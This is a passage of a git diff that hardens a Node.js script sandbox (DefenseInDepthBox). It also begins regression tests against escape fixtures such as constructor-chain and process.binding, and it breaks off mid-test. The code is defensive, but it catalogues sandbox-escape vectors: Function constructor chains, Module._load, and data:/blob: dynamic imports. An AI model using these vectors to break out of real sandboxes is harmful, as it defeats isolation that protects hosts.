-            `but singleton already has {enabled: ${active.enabled}, auditMode: ${active.auditMode}}. ` +
-            `All Bash instances must use the same defense-in-depth security settings, ` +
-            `or call DefenseInDepthBox.resetInstance() between incompatible configurations.`,
+          "DefenseInDepthBox config conflict: all resolved defense options, " +
+            "including exclusions and the violation callback, must match across Bash instances. " +
+            "Call DefenseInDepthBox.resetInstance() between incompatible configurations.",
         );
       }
     }
@@ -313,19 +395,6 @@ export class DefenseInDepthBox {
     return ctx;
   }
 
-  /**
-   * Return an active execution ID to bind callback context.
-   * When multiple executions are active, this intentionally selects one
-   * active ID so callback execution stays fail-closed.
-   */
-  private getPreferredActiveExecutionId(): string | undefined {
-    if (this.activeExecutionIds.size === 0) return undefined;
-    for (const executionId of this.activeExecutionIds) {
-      return executionId;
-    }
-    return undefined;
-  }
-
   /**
    * Bind a callback to the current defense AsyncLocalStorage context.
    *
@@ -339,14 +408,14 @@ export class DefenseInDepthBox {
     fn: (...args: TArgs) => TResult,
   ): (...args: TArgs) => TResult {
     if (!executionContext) return fn;
-    const box = DefenseInDepthBox.instance;
     const current = executionContext.getStore();
+    // Never attribute unrelated host work to an arbitrary active execution.
+    // Callers that require sandbox continuity must bind while inside run().
     const executionId =
-      current?.sandboxActive === true
-        ? current.executionId
-        : box?.getPreferredActiveExecutionId();
+      current?.sandboxActive === true ? current.executionId : undefined;
     if (!executionId) return fn;
 
+    const box = DefenseInDepthBox.instance;
     const captured = box?.getCachedContext(executionId) ?? {
       sandboxActive: true as const,
       executionId,
@@ -376,16 +445,73 @@ export class DefenseInDepthBox {
    * Returns false if AsyncLocalStorage is unavailable or config.enabled is false.
    */
   isEnabled(): boolean {
-    return (
-      this.config.enabled === true && executionContext !== null && !IS_BROWSER
-    );
+    return this.getStatus().state === "enabled";
+  }
+
+  /** Return the resolved runtime capability without activating protection. */
+  getStatus(): DefenseInDepthStatus {
+    const contextualDynamicImportProtection =
+      hasContextualDynamicImportProtection();
+    if (this.config.requested === "disabled") {
+      return {
+        requested: "disabled",
+        state: "disabled",
+        level: "none",
+        contextualDynamicImportProtection,
+        processLifetimeIntrinsicHardening:
+          this.config.processLifetimeIntrinsicHardening === true,
+        intrinsicProtection: this.config.processLifetimeIntrinsicHardening
+          ? "process-lifetime"
+          : "scoped-best-effort",
+      };
+    }
+    if (!executionContext || IS_BROWSER) {
+      return {
+        requested: this.config.requested,
+        state: "unsupported",
+        level: "none",
+        contextualDynamicImportProtection: false,
+        processLifetimeIntrinsicHardening:
+          this.config.processLifetimeIntrinsicHardening === true,
+        intrinsicProtection: this.config.processLifetimeIntrinsicHardening
+          ? "process-lifetime"
+          : "scoped-best-effort",
+        reason:
+          "context-aware ESM loader hooks (node:module.registerHooks) are unavailable",
+      };
+    }
+    return {
+      requested: this.config.requested,
+      state: "enabled",
+      level: this.config.auditMode
+        ? "none"
+        : contextualDynamicImportProtection
+          ? "full"
+          : "best-effort",
+      contextualDynamicImportProtection,
+      processLifetimeIntrinsicHardening:
+        this.config.processLifetimeIntrinsicHardening === true,
+      intrinsicProtection: this.config.processLifetimeIntrinsicHardening
+        ? "process-lifetime"
+        : "scoped-best-effort",
+      reason: this.config.auditMode
+        ? "audit mode records violations but does not block them"
+        : contextualDynamicImportProtection
+          ? undefined
+          : "best-effort protection; context-aware ESM loader hooks are unavailable",
+    };
   }
 
   /**
    * Update configuration. Only affects future activations.
    */
   updateConfig(config: Partial<DefenseInDepthConfig>): void {
-    this.config = { ...this.config, ...config };
+    if (this.refCount > 0) {
+      throw new Error(
+        "DefenseInDepthBox configuration cannot change while protection is active",
+      );
+    }
+    this.config = resolveConfig({ ...this.config, ...config });
   }
 
   /**
@@ -406,7 +532,12 @@ export class DefenseInDepthBox {
   activate(): DefenseInDepthHandle {
     // In browser environments, defense-in-depth is disabled (no AsyncLocalStorage)
     // Also disabled when config.enabled is false
-    if (IS_BROWSER || !this.config.enabled || !executionContext) {
+    if (!IS_BROWSER && this.config.enabled && !executionContext) {
+      throw new Error(
+        "DefenseInDepthBox: enabled protection requires node:async_hooks and node:module",
+      );
+    }
+    if (IS_BROWSER || !this.config.enabled) {
       // Return a no-op handle
       const executionId = generateUUID();
       let deactivated = false;
@@ -430,7 +561,17 @@ export class DefenseInDepthBox {
 
     this.refCount++;
     if (this.refCount === 1) {
-      this.applyPatches();
+      try {
+        this.applyPatches();
+      } catch (error) {
+        // applyPatches performs local rollback for known failures. Keep the
+        // activation boundary transactional for unexpected exceptions too.
+        this.restorePatches();
+        this.activeExecutionIds.clear();
+        this.contextCache.clear();
+        this.refCount = 0;
+        throw error;
+      }
       this.activationTime = Date.now();
     }
 
@@ -621,6 +762,17 @@ export class DefenseInDepthBox {
     return true;
   }
 
+  /** Record audit events only for untrusted sandbox work. */
+  private shouldAudit(): boolean {
+    if (!this.config.auditMode || !executionContext) return false;
+    const store = executionContext.getStore();
+    return (
+      store?.sandboxActive === true &&
+      store.trusted !== true &&
+      !DefenseInDepthBox.isTrustedScopeActive(store.executionId)
+    );
+  }
+
   /**
    * Record a violation and optionally invoke the callback.
    */
@@ -679,10 +831,7 @@ export class DefenseInDepthBox {
           throw new SecurityViolationError(message, violation);
         }
         // Record violation in audit mode but allow the call
-        if (
-          box.config.auditMode &&
-          executionContext?.getStore()?.sandboxActive === true
-        ) {
+        if (box.shouldAudit()) {
           box.recordViolation(
             violationType,
             path,
@@ -698,10 +847,7 @@ export class DefenseInDepthBox {
           throw new SecurityViolationError(message, violation);
         }
         // Record violation in audit mode but allow the call
-        if (
-          box.config.auditMode &&
-          executionContext?.getStore()?.sandboxActive === true
-        ) {
+        if (box.shouldAudit()) {
           box.recordViolation(
             violationType,
             path,
@@ -746,10 +892,7 @@ export class DefenseInDepthBox {
           throw new SecurityViolationError(message, violation);
         }
         // Record violation in audit mode but allow access
-        if (
-          box.config.auditMode &&
-          executionContext?.getStore()?.sandboxActive === true
-        ) {
+        if (box.shouldAudit()) {
           const fullPath = `${path}.${String(prop)}`;
           box.recordViolation(
             violationType,
@@ -855,6 +998,44 @@ export class DefenseInDepthBox {
     }) as T;
   }
 
+  /** Preserve read access while denying mutation only in sandbox context. */
+  private createReadonlyObjectProxy<T extends object>(
+    original: T,
+    path: string,
+    violationType: SecurityViolationType,
+  ): T {
+    const box = this;
+    const deny = (operation: string): never => {
+      const message = `${path} ${operation} is blocked during script execution`;
+      const violation = box.recordViolation(violationType, path, message);
+      throw new SecurityViolationError(message, violation);
+    };
+
+    // @banned-pattern-ignore: intentional Proxy usage for reversible security blocking
+    return new Proxy(original, {
+      set(target, prop, value, receiver) {
+        if (box.shouldBlock()) deny("modification");
+        return Reflect.set(target, prop, value, receiver);
+      },
+      defineProperty(target, prop, descriptor) {
+        if (box.shouldBlock()) deny("defineProperty");
+        return Reflect.defineProperty(target, prop, descriptor);
+      },
+      deleteProperty(target, prop) {
+        if (box.shouldBlock()) deny("deletion");
+        return Reflect.deleteProperty(target, prop);
+      },
+      setPrototypeOf(target, prototype) {
+        if (box.shouldBlock()) deny("setPrototypeOf");
+        return Reflect.setPrototypeOf(target, prototype);
+      },
+      preventExtensions(target) {
+        if (box.shouldBlock()) deny("preventExtensions");
+        return Reflect.preventExtensions(target);
+      },
+    });
+  }
+
   /**
    * Apply security patches to dangerous globals.
    */
@@ -878,9 +1059,14 @@ export class DefenseInDepthBox {
       "process_stdout",
       "process_stderr",
     ]);
+    const permanentIntrinsicPatches: BlockedGlobal[] = [];
 
     for (const blocked of blockedGlobals) {
       if (skipInMainThread.has(blocked.violationType)) continue;
+      if (blocked.strategy === "freeze") {
+        permanentIntrinsicPatches.push(blocked);
+        continue;
+      }
       this.applyPatch(blocked);
     }
 
@@ -895,10 +1081,14 @@ export class DefenseInDepthBox {
     // callbacks cannot outlive handle deactivation.
     this.protectPromiseThen();
 
-    // Block dynamic import() of data:/blob: URLs via ESM loader hooks.
+    // Block dynamic import() of data:/blob: URLs when contextual ESM loader
+    // hooks are available. Older supported Nodes retain the remaining scoped
+    // protections without installing a process-global loader.
     // Must run BEFORE protectModuleLoad() because it uses require('node:module')
     // which goes through Module._load internally.
-    this.protectDynamicImport();
+    if (hasContextualDynamicImportProtection()) {
+      this.protectDynamicImport();
+    }
 
     // Protect Module._load and Module._resolveFilename BEFORE process.mainModule,
     // since these methods need to read process.mainModule to find the Module class.
@@ -911,10 +1101,6 @@ export class DefenseInDepthBox {
     // Protect process.execPath (string primitive, needs defineProperty)
     this.protectProcessExecPath();
 
-    // Lock well-known Symbol properties to prevent hijacking of
-    // Array.map/filter, for...of, type coercion, and instanceof.
-    this.lockWellKnownSymbols();
-
     // Block Proxy.revocable to prevent bypassing Proxy constructor blocking.
     // Runs after the main loop wraps globalThis.Proxy; property operations on
     // the blocking proxy (which has no get/defineProperty traps) pass through
@@ -928,7 +1114,11 @@ export class DefenseInDepthBox {
 
     // Fail closed: if any critical patch failed, throw.
     // Critical patches are those that block the most dangerous escape vectors.
-    const criticalPaths = ["Function.prototype.constructor", "Module._load"];
+    const criticalPaths = [
+      "Function.prototype.constructor",
+      "Module._load",
+      "Module._resolveFilename",
+    ];
     const criticalFailures = this.patchFailures.filter((p) =>
       criticalPaths.includes(p),
     );
@@ -939,6 +1129,170 @@ export class DefenseInDepthBox {
         `DefenseInDepthBox: critical patches failed: ${criticalFailures.join(", ")}`,
       );
     }
+
+    // The default path installs reversible read-only proxies. The explicit
+    // process-lifetime mode additionally freezes their underlying objects and
+    // locks well-known symbols, after every reversible critical patch has been
+    // installed and verified.
+    if (!this.config.processLifetimeIntrinsicHardening) {
+      // Capture and protect the underlying objects before their global
+      // bindings are replaced with proxies.
+      this.protectReversibleIntrinsics(permanentIntrinsicPatches);
+    }
+    for (const blocked of permanentIntrinsicPatches) {
+      this.applyPatch(
+        blocked,
+        this.config.processLifetimeIntrinsicHardening === true,
+      );
+    }
+    if (this.config.processLifetimeIntrinsicHardening) {
+      this.lockWellKnownSymbols();
+    }
+  }
+
+  /**
+   * Close the cached-reference assignment path without permanently freezing
+   * host globals. The global proxies protect references obtained after
+   * activation; these temporary descriptor changes protect references cached
+   * before activation. Configurability is deliberately retained so teardown
+   * can restore the host realm byte-for-byte.
+   */
+  private protectReversibleIntrinsics(blockedGlobals: BlockedGlobal[]): void {
+    const protectedTargets = new Set<object>();
+    const protect = (target: object, prop: PropertyKey): void => {
+      const descriptor = Object.getOwnPropertyDescriptor(target, prop);
+      if (
+        !descriptor ||
+        !("value" in descriptor) ||
+        descriptor.writable !== true ||
+        descriptor.configurable !== true
+      ) {
+        return;
+      }
+      this.temporaryIntrinsicDescriptors.push({ target, prop, descriptor });
+      Object.defineProperty(target, prop, { ...descriptor, writable: false });
+    };
+
+    for (const { target, prop } of blockedGlobals) {
+      const intrinsic = (target as Record<string, unknown>)[prop];
+      if (typeof intrinsic !== "object" || intrinsic === null) continue;
+      protectedTargets.add(intrinsic);
+      for (const key of Reflect.ownKeys(intrinsic)) protect(intrinsic, key);
+    }
+
+    const symbolProperties: Array<[object, symbol]> = [];
+    // biome-ignore lint/style/noRestrictedGlobals: security protection intentionally targets the intrinsic
+    for (const ctor of [Array, Map, Set, RegExp, Promise]) {
+      symbolProperties.push([ctor, Symbol.species]);
+    }
+    for (const proto of [
+      Array.prototype,
+      String.prototype,
+      Map.prototype,
+      Set.prototype,
+    ]) {
+      symbolProperties.push([proto, Symbol.iterator]);
+    }
+    symbolProperties.push(
+      [Symbol.prototype, Symbol.toPrimitive],
+      [Date.prototype, Symbol.toPrimitive],
+      [Function.prototype, Symbol.hasInstance],
+      [Array.prototype, Symbol.unscopables],
+    );
+    for (const sym of [
+      Symbol.match,
+      Symbol.matchAll,
+      Symbol.replace,
+      Symbol.search,
+      Symbol.split,
+    ]) {
+      // biome-ignore lint/style/noRestrictedGlobals: security protection intentionally targets the intrinsic
+      symbolProperties.push([RegExp.prototype, sym]);
+    }
+    for (const proto of [
+      Map.prototype,
+      Set.prototype,
+      Promise.prototype,
+      ArrayBuffer.prototype,
+    ]) {
+      symbolProperties.push([proto, Symbol.toStringTag]);
+    }
+    for (const [target, prop] of symbolProperties) {
+      protectedTargets.add(target);
+      protect(target, prop);
+    }
+
+    // Cached Object/Reflect references resolve methods from the original
+    // intrinsic, bypassing the global proxy. Wrap the mutation entry points
+    // while active, but continue to allow them for ordinary script-owned
+    // objects and for host work outside the sandbox context.
+    const wrapMutationMethod = (
+      owner: object,
+      prop: string,
+      operation: string,
+    ): void => {
+      const descriptor = Object.getOwnPropertyDescriptor(owner, prop);
+      if (
+        !descriptor ||
+        !("value" in descriptor) ||
+        typeof descriptor.value !== "function" ||
+        descriptor.configurable !== true
+      ) {
+        return;
+      }
+      const original = descriptor.value as (...args: unknown[]) => unknown;
+      const box = this;
+      const guarded = function (this: unknown, ...args: unknown[]): unknown {
+        const target = args[0];
+        if (
+          box.shouldBlock() &&
+          typeof target === "object" &&
+          target !== null &&
+          protectedTargets.has(target)
+        ) {
+          const path = `${operation}.${prop}`;
+          const message = `${path} is blocked for protected intrinsics during script execution`;
+          const violation = box.recordViolation(
+            "prototype_mutation",
+            path,
+            message,
+          );
+          throw new SecurityViolationError(message, violation);
+        }
+        return Reflect.apply(original, this, args);
+      };
+      this.temporaryIntrinsicDescriptors.push({
+        target: owner,
+        prop,
+        descriptor,
+      });
+      Object.defineProperty(owner, prop, {
+        ...descriptor,
+        value: guarded,
+        writable: false,
+      });
+    };
+
+    for (const prop of [
+      "assign",
+      "defineProperties",
+      "defineProperty",
+      "freeze",
+      "preventExtensions",
+      "seal",
+      "setPrototypeOf",
+    ]) {
+      wrapMutationMethod(Object, prop, "Object");
+    }
+    for (const prop of [
+      "defineProperty",
+      "deleteProperty",
+      "preventExtensions",
+      "set",
+      "setPrototypeOf",
+    ]) {
+      wrapMutationMethod(Reflect, prop, "Reflect");
+    }
   }
 
   /**
@@ -1071,10 +1425,7 @@ export class DefenseInDepthBox {
             throw new SecurityViolationError(message, violation);
           }
           // Record in audit mode
-          if (
-            box.config.auditMode &&
-            executionContext?.getStore()?.sandboxActive === true
-          ) {
+          if (box.shouldAudit()) {
             box.recordViolation(
               "error_prepare_stack_trace",
               "Error.prepareStackTrace",
@@ -1246,10 +1597,7 @@ export class DefenseInDepthBox {
             throw new SecurityViolationError(message, violation);
           }
           // Record in audit mode
-          if (
-            box.config.auditMode &&
-            executionContext?.getStore()?.sandboxActive === true
-          ) {
+          if (box.shouldAudit()) {
             box.recordViolation(
               violationType,
               path,
@@ -1329,10 +1677,7 @@ export class DefenseInDepthBox {
               );
               throw new SecurityViolationError(message, violation);
             }
-            if (
-              box.config.auditMode &&
-              executionContext?.getStore()?.sandboxActive === true
-            ) {
+            if (box.shouldAudit()) {
               box.recordViolation(
                 "process_main_module",
                 "process.mainModule",
@@ -1408,10 +1753,7 @@ export class DefenseInDepthBox {
             );
             throw new SecurityViolationError(message, violation);
           }
-          if (
-            box.config.auditMode &&
-            executionContext?.getStore()?.sandboxActive === true
-          ) {
+          if (box.shouldAudit()) {
             box.recordViolation(
               "process_exec_path",
               "process.execPath",
@@ -1465,8 +1807,6 @@ export class DefenseInDepthBox {
         const desc = Object.getOwnPropertyDescriptor(obj, sym);
         if (desc?.configurable) {
           if ("value" in desc) {
-            // Data descriptors must also be non-writable, otherwise assignment
-            // can still replace the Symbol property value.
             Object.defineProperty(obj, sym, {
               ...desc,
               configurable: false,
@@ -1474,7 +1814,6 @@ export class DefenseInDepthBox {
             });
             return;
           }
-
           Object.defineProperty(obj, sym, { ...desc, configurable: false });
         }
       } catch {
@@ -1530,27 +1869,10 @@ export class DefenseInDepthBox {
       lock(proto, Symbol.toStringTag);
     }
 
-    // Freeze Error.stackTraceLimit to prevent stack trace depth manipulation.
-    // Uses configurable: true so it can be restored on deactivation (test
-    // frameworks like Vitest modify stackTraceLimit for error reporting).
-    try {
-      const stackDesc = Object.getOwnPropertyDescriptor(
-        Error,
-        "stackTraceLimit",
-      );
-      this.originalDescriptors.push({
-        target: Error,
-        prop: "stackTraceLimit",
-        descriptor: stackDesc,
-      });
-      Object.defineProperty(Error, "stackTraceLimit", {
-        value: Error.stackTraceLimit,
-        writable: false,
-        configurable: true,
-      });
-    } catch {
-      /* best-effort */
-    }
+    // Symbol locks are deliberately process-lifetime locks. Making them
+    // reversible would leave a configurable descriptor that can be replaced
+    // through Object.defineProperty/Reflect.defineProperty. Error stack depth
+    // is diagnostic only and is therefore not locked process-wide.
   }
 
   /**
@@ -1593,10 +1915,7 @@ export class DefenseInDepthBox {
             throw new SecurityViolationError(message, violation);
           }
           // Record in audit mode
-          if (
-            box.config.auditMode &&
-            executionContext?.getStore()?.sandboxActive === true
-          ) {
+          if (box.shouldAudit()) {
             box.recordViolation(
               "proxy",
               "Proxy.revocable",
@@ -1620,18 +1939,16 @@ export class DefenseInDepthBox {
   /**
    * Block dynamic import() escape vectors via ESM loader hooks.
    *
-   * Uses Node.js module.registerHooks() (23.5+, synchronous) or
-   * module.register() (20.6+, async hooks in separate thread) to install
-   * ESM loader hooks that reject dangerous specifiers.
+   * Uses Node.js module.registerHooks() (23.5+, synchronous) to install ESM
+   * loader hooks that reject dangerous specifiers.
    *
    * registerHooks() runs in-thread and can read AsyncLocalStorage. We use it
    * to block Node.js builtin specifiers (node:* and bare builtins) only in
    * untrusted sandbox context while still allowing trusted infrastructure
    * imports (runTrusted/runTrustedAsync).
    *
-   * register() hooks run in a separate loader thread and cannot read
-   * AsyncLocalStorage. In that fallback mode, only data:/blob: blocking is
-   * enforced here.
+   * module.register() is deliberately not used as a fallback: those hooks run
+   * in a separate loader thread and cannot read AsyncLocalStorage.
    *
    * This is process-wide and permanent (hooks cannot be unregistered).
    * Only applied once per process regardless of how many DefenseInDepthBox
@@ -1645,24 +1962,10 @@ export class DefenseInDepthBox {
     if (IS_BROWSER || DefenseInDepthBox.importHooksRegistered) return;
 
     try {
-      const box = this;
-
-      // eslint-disable-next-line @typescript-eslint/no-require-imports
-      const mod = require("node:module") as {
-        builtinModules?: string[];
-        isBuiltin?: (specifier: string) => boolean;
-        registerHooks?: (hooks: {
-          resolve: (
-            specifier: string,
-            context: unknown,
-            nextResolve: (
-              specifier: string,
-              context: unknown,
-            ) => { url: string },
-          ) => { url: string };
-        }) => void;
-        register?: (specifier: string) => void;
-      };
+      const mod = nodeModuleApi;
+      if (!mod) {
+        throw new Error("node:module is unavailable");
+      }
 
       // Normalize Node builtin module names once. Includes both root modules
       // (fs) and first path segments (fs from fs/promises).
@@ -1710,7 +2013,7 @@ export class DefenseInDepthBox {
         );
       };
 
-      const shouldRecordAuditViolation = (): boolean => {
+      const shouldRecordAuditViolation = (box: DefenseInDepthBox): boolean => {
         const store = executionContext?.getStore();
         return (
           box.config.auditMode === true &&
@@ -1720,17 +2023,26 @@ export class DefenseInDepthBox {
         );
       };
 
-      // Prefer registerHooks() (Node.js 23.5+) — synchronous, in-thread
+      // registerHooks() (Node.js 23.5+) is synchronous and in-thread.
       if (typeof mod.registerHooks === "function") {
         mod.registerHooks({
           resolve(specifier, context, nextResolve) {
+            const box = DefenseInDepthBox.instance;
+            if (!box) return nextResolve(specifier, context);
             if (
-              specifier.startsWith("data:") ||
-              specifier.startsWith("blob:")
+              (specifier.startsWith("data:") ||
+                specifier.startsWith("blob:")) &&
+              box.shouldBlock()
             ) {
-              throw new Error(
-                `dynamic import of ${specifier.startsWith("data:") ? "data:" : "blob:"} URLs is blocked by defense-in-depth`,
+              const path = `import(${specifier.startsWith("data:") ? "data:" : "blob:"})`;
+              // @banned-pattern-ignore: authorization uses the exact loader specifier and ALS capability, not a diagnostic
+              const message = `dynamic import of ${specifier.startsWith("data:") ? "data:" : "blob:"} URLs is blocked by defense-in-depth`;
+              const violation = box.recordViolation(
+                "dynamic_import_builtin",
+                path,
+                message,
               );
+              throw new SecurityViolationError(message, violation);
             }
             if (isNodeBuiltinSpecifier(specifier)) {
               const path = `import(${specifier})`;
@@ -1743,7 +2055,7 @@ export class DefenseInDepthBox {
                 );
                 throw new SecurityViolationError(message, violation);
               }
-              if (shouldRecordAuditViolation()) {
+              if (shouldRecordAuditViolation(box)) {
                 box.recordViolation(
                   "dynamic_import_builtin",
                   path,
@@ -1758,29 +2070,13 @@ export class DefenseInDepthBox {
         return;
       }
 
-      // Fall back to register() (Node.js 20.6+) — async, separate thread
-      if (typeof mod.register === "function") {
-        // NOTE: register() hooks run in a separate thread and cannot access
-        // AsyncLocalStorage context, so context-aware builtin import blocking
-        // is only possible via registerHooks().
-        // Inline the hooks as a data: URL module. This is loaded BEFORE
-        // the hooks become active, so it doesn't block its own loading.
-        const hookCode = [
-          "export async function resolve(specifier, context, nextResolve) {",
-          '  if (specifier.startsWith("data:") || specifier.startsWith("blob:")) {',
-          '    throw new Error("dynamic import of " + (specifier.startsWith("data:") ? "data:" : "blob:") + " URLs is blocked by defense-in-depth");',
-          "  }",
-          "  return nextResolve(specifier, context);",
-          "}",
-        ].join("\n");
-        mod.register(`data:text/javascript,${encodeURIComponent(hookCode)}`);
-        DefenseInDepthBox.importHooksRegistered = true;
-      }
+      throw new Error(
+        "context-aware ESM loader hooks (node:module.registerHooks) are unavailable",
+      );
     } catch (e) {
-      // module.register()/registerHooks() not available (older Node.js, edge runtimes)
-      console.debug(
-        "[DefenseInDepthBox] Could not register import() hooks:",
-        e instanceof Error ? e.message : e,
+      throw new Error(
+        `DefenseInDepthBox: could not register dynamic-import hooks: ${e instanceof Error ? e.message : String(e)}`,
+        { cause: e },
       );
     }
   }
@@ -1797,60 +2093,7 @@ export class DefenseInDepthBox {
    * We access the Module class and replace _load with a blocking proxy.
    */
   private protectModuleLoad(): void {
-    if (IS_BROWSER) return;
-
-    try {
-      // Access the Module class via Function.prototype (which exists before patching starts)
-      // Try multiple paths to find Module
-      let ModuleClass: Record<string, unknown> | null = null;
-
-      // Path 1: via process.mainModule (CJS contexts)
-      if (typeof process !== "undefined") {
-        const mainModule = (process as unknown as Record<string, unknown>)
-          .mainModule;
-        if (mainModule && typeof mainModule === "object") {
-          ModuleClass = (mainModule as unknown as Record<string, unknown>)
-            .constructor as unknown as Record<string, unknown>;
-        }
-      }
-
-      // Path 2: via require.main (CJS contexts)
-      if (
-        !ModuleClass &&
-        typeof require !== "undefined" &&
-        typeof require.main !== "undefined"
-      ) {
-        ModuleClass = (require.main as unknown as Record<string, unknown>)
-          .constructor as unknown as Record<string, unknown>;
-      }
-
-      if (!ModuleClass || typeof ModuleClass._load !== "function") {
-        return;
-      }
-
-      const original = ModuleClass._load as (...args: unknown[]) => unknown;
-      const descriptor = Object.getOwnPropertyDescriptor(ModuleClass, "_load");
-      this.originalDescriptors.push({
-        target: ModuleClass,
-        prop: "_load",
-        descriptor,
-      });
-
-      const path = "Module._load";
-      const proxy = this.createBlockingProxy(original, path, "module_load");
-
-      Object.defineProperty(ModuleClass, "_load", {
-        value: proxy,
-        writable: true,
-        configurable: true,
-      });
-    } catch (e) {
-      this.patchFailures.push("Module._load");
-      console.debug(
-        "[DefenseInDepthBox] Could not protect Module._load:",
-        e instanceof Error ? e.message : e,
-      );
-    }
+    this.protectModuleMethod("_load", "module_load");
   }
 
   /**
@@ -1864,73 +2107,59 @@ export class DefenseInDepthBox {
    * via ESM loader hooks.
    */
   private protectModuleResolveFilename(): void {
+    this.protectModuleMethod("_resolveFilename", "module_resolve_filename");
+  }
+
+  private protectModuleMethod(
+    prop: "_load" | "_resolveFilename",
+    violationType: "module_load" | "module_resolve_filename",
+  ): void {
     if (IS_BROWSER) return;
+    const path = `Module.${prop}`;
 
     try {
-      let ModuleClass: Record<string, unknown> | null = null;
-
-      // Path 1: via process.mainModule (CJS contexts)
-      if (typeof process !== "undefined") {
-        const mainModule = (process as unknown as Record<string, unknown>)
-          .mainModule;
-        if (mainModule && typeof mainModule === "object") {
-          ModuleClass = (mainModule as unknown as Record<string, unknown>)
-            .constructor as unknown as Record<string, unknown>;
-        }
+      const ModuleClass = nodeModuleClass;
+      const original = ModuleClass?.[prop];
+      if (!ModuleClass || typeof original !== "function") {
+        throw new Error("node:module Module class or method is unavailable");
       }
 
-      // Path 2: via require.main (CJS contexts)
-      if (
-        !ModuleClass &&
-        typeof require !== "undefined" &&
-        typeof require.main !== "undefined"
-      ) {
-        ModuleClass = (require.main as unknown as Record<string, unknown>)
-          .constructor as unknown as Record<string, unknown>;
+      const descriptor = Object.getOwnPropertyDescriptor(ModuleClass, prop);
+      if (!descriptor) {
+        throw new Error("method has no own property descriptor");
       }
-
-      if (!ModuleClass || typeof ModuleClass._resolveFilename !== "function") {
-        return;
+      if (descriptor.configurable === false && descriptor.writable === false) {
+        throw new Error("method is non-configurable and non-writable");
       }
 
-      const original = ModuleClass._resolveFilename as (
-        ...args: unknown[]
-      ) => unknown;
-      const descriptor = Object.getOwnPropertyDescriptor(
-        ModuleClass,
-        "_resolveFilename",
+      const proxy = this.createBlockingProxy(
+        original as (...args: unknown[]) => unknown,
+        path,
+        violationType,
       );
       this.originalDescriptors.push({
         target: ModuleClass,
-        prop: "_resolveFilename",
+        prop,
         descriptor,
       });
-
-      const path = "Module._resolveFilename";
-      const proxy = this.createBlockingProxy(
-        original,
-        path,
-        "module_resolve_filename",
-      );
-
-      Object.defineProperty(ModuleClass, "_resolveFilename", {
+      Object.defineProperty(ModuleClass, prop, {
+        ...descriptor,
         value: proxy,
-        writable: true,
-        configurable: true,
       });
-    } catch (e) {
-      this.patchFailures.push("Module._resolveFilename");
-      console.debug(
-        "[DefenseInDepthBox] Could not protect Module._resolveFilename:",
-        e instanceof Error ? e.message : e,
-      );
+
+      const installed = Object.getOwnPropertyDescriptor(ModuleClass, prop);
+      if (ModuleClass[prop] !== proxy || installed?.value !== proxy) {
+        throw new Error("installed patch failed verification");
+      }
+    } catch {
+      this.patchFailures.push(path);
     }
   }
 
   /**
    * Apply a single patch to a blocked global.
    */
-  private applyPatch(blocked: BlockedGlobal): void {
+  private applyPatch(blocked: BlockedGlobal, freezeIntrinsic = false): void {
     const { target, prop, violationType, strategy } = blocked;
 
     try {
@@ -1944,9 +2173,20 @@ export class DefenseInDepthBox {
       this.originalDescriptors.push({ target, prop, descriptor });
 
       if (strategy === "freeze") {
-        // For freeze strategy, freeze the object and replace with frozen version
+        // The global proxy is descriptor-reversible. Freezing the underlying
+        // object is reserved for an explicitly opted-in process-lifetime mode.
         if (typeof original === "object" && original !== null) {
-          Object.freeze(original);
+          if (freezeIntrinsic) Object.freeze(original);
+          const path = this.getPathForTarget(target, prop);
+          const proxy = this.createReadonlyObjectProxy(
+            original,
+            path,
+            violationType,
+          );
+          Object.defineProperty(target, prop, {
+            ...descriptor,
+            value: proxy,
+          });
         }
       } else {
         // For throw strategy, create a blocking proxy
@@ -1987,6 +2227,20 @@ export class DefenseInDepthBox {
    * Restore all original values.
    */
   private restorePatches(): void {
+    for (let i = this.temporaryIntrinsicDescriptors.length - 1; i >= 0; i--) {
+      const { target, prop, descriptor } =
+        this.temporaryIntrinsicDescriptors[i];
+      try {
+        Object.defineProperty(target, prop, descriptor);
+      } catch (e) {
+        console.debug(
+          `[DefenseInDepthBox] Could not restore temporary intrinsic ${String(prop)}:`,
+          e instanceof Error ? e.message : e,
+        );
+      }
+    }
+    this.temporaryIntrinsicDescriptors = [];
+
     // Restore in reverse order to handle dependencies
     for (let i = this.originalDescriptors.length - 1; i >= 0; i--) {
       const { target, prop, descriptor } = this.originalDescriptors[i];
diff --git a/packages/just-bash/src/security/defense-in-depth-exploit-regression.test.ts b/packages/just-bash/src/security/defense-in-depth-exploit-regression.test.ts
index 54f28abc..f4224de6 100644
--- a/packages/just-bash/src/security/defense-in-depth-exploit-regression.test.ts
+++ b/packages/just-bash/src/security/defense-in-depth-exploit-regression.test.ts
@@ -113,89 +113,93 @@ function expectViolationType(
   expect(violations.some((v) => v.type === type)).toBe(true);
 }
 
-describe("Defense-in-depth exploit fixture regressions", () => {
-  beforeEach(() => {
-    DefenseInDepthBox.resetInstance();
-    clearMarkers();
-    Error.prepareStackTrace = originalPrepareStackTrace;
-  });
-
-  afterEach(() => {
-    DefenseInDepthBox.resetInstance();
-    clearMarkers();
-    Error.prepareStackTrace = originalPrepareStackTrace;
-  });
-
-  describe("constructor.constructor exploit fixture", () => {
-    it("strict mode blocks constructor-chain execution", async () => {
-      const result = await runExploitFixture("constructor-chain.js", false);
-      expect(result.error).toBeInstanceOf(SecurityViolationError);
-      expect(result.returnValue).toBeUndefined();
-      expectViolationType(result.violations, "function_constructor");
-      expect(
-        (globalThis as unknown as Record<string, unknown>)
-          .__jb_ctor_chain_marker,
-      ).toBeUndefined();
-    });
-
-    it("compat mode (audit) allows execution but records violation", async () => {
-      const result = await runExploitFixture("constructor-chain.js", true);
-      expect(result.error).toBeUndefined();
-      expect(result.returnValue).toBe("CONSTRUCTOR_CHAIN_EXECUTED");
-      expectViolationType(result.violations, "function_constructor");
+describe.runIf(typeof nodeModule.registerHooks === "function")(
+  "Defense-in-depth exploit fixture regressions",
+  () => {
+    beforeEach(() => {
+      DefenseInDepthBox.resetInstance();
+      clearMarkers();
+      Error.prepareStackTrace = originalPrepareStackTrace;
     });
-  });
 
-  describe("process.binding exploit fixture", () => {
-    it("strict mode blocks process.binding access", async () => {
-      const result = await runExploitFixture("process-binding.js", false);
-      expect(result.error).toBeInstanceOf(SecurityViolationError);
-      expect(result.returnValue).toBeUndefined();
-      expectViolationType(result.violations, "process_binding");
+    afterEach(() => {
+      DefenseInDepthBox.resetInstance();
+      clearMarkers();
+      Error.prepareStackTrace = originalPrepareStackTrace;
     });
 
-    it("compat mode (audit) allows process.binding but records violation", async () => {
-      const result = await runExploitFixture("process-binding.js", true);
-      expect(result.error).toBeUndefined();
